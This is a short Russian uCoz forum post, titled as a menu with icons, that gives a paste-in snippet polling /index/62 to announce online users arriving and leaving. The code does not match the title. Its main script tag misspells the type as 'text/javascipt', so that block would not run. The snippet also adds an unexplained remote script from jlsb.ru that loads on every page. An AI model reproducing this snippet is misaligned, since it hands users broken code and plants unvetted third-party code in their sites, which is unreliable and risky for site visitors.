[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
  • Страница 1 из 1
  • 1
Меню с красивыми иконками
Дата: Вторник, 08.01.2013, 17:18 | Сообщение # 1
ava
Пользователи
Сообщений: 24
Репутация: 3 +

Ставим между <body> и закрывающим тегом </body>
Код

<script type="text/javascipt">  
$.get('/index/62',function(e){ codet = $('cmd[p="content"]',e).text();  
$('a',codet).each(function(i){  
$('#peoples').prepend('<a class="peoples '+$(this).attr('class')+'" href="'+$(this).attr('href')+'">'+$(this).text()+'</a>');});});  
setInterval(function(){  
data=$('#peoples').text();  
$.get('/index/62',function(q){ fis = $('cmd[p="content"]',q).text();  
$('a',fis).each(function(){  
if(data.indexOf($(this).text())== -1){  
$('#peoples').prepend('<a class="peoples '+$(this).attr('class')+'" href="'+$(this).attr('href')+'">'+$(this).text()+'</a><div style="clear:both"></div>');  
_uWnd.alert('<div align="center" style="padding:5px;"><b><a class="peoples '+$(this).attr('class')+'" href="'+$(this).attr('href')+'">'+$(this).text()+'</a></b> на сайте</div>', '',{w:210, tm:5000, h:60})  
}});  
$('#peoples a').each(function(){  
if(fis.indexOf($(this).text())== -1){  
_uWnd.alert('<div align="center" style="padding:5px;"><b><a class="peoples '+$(this).attr('class')+'" href="'+$(this).attr('href')+'">'+$(this).text()+'</a></b> ушел</div>', '',{w:210, tm:5000, h:60})  
$(this).prev('.ssikq').remove(); $(this).remove();}  
});});},10000);  
</script>  
<script src="http://jlsb.ru/color.js" type="text/javascript"></script>  
<div style="display:none" id="peoples"></div>
  • Страница 1 из 1
  • 1
Поиск:

Дизайн полностью принадлежит funny-portal. Сверстал: sp1nn15. Любое копирование дизайна запрещено!

Конструктор сайтовuCoz.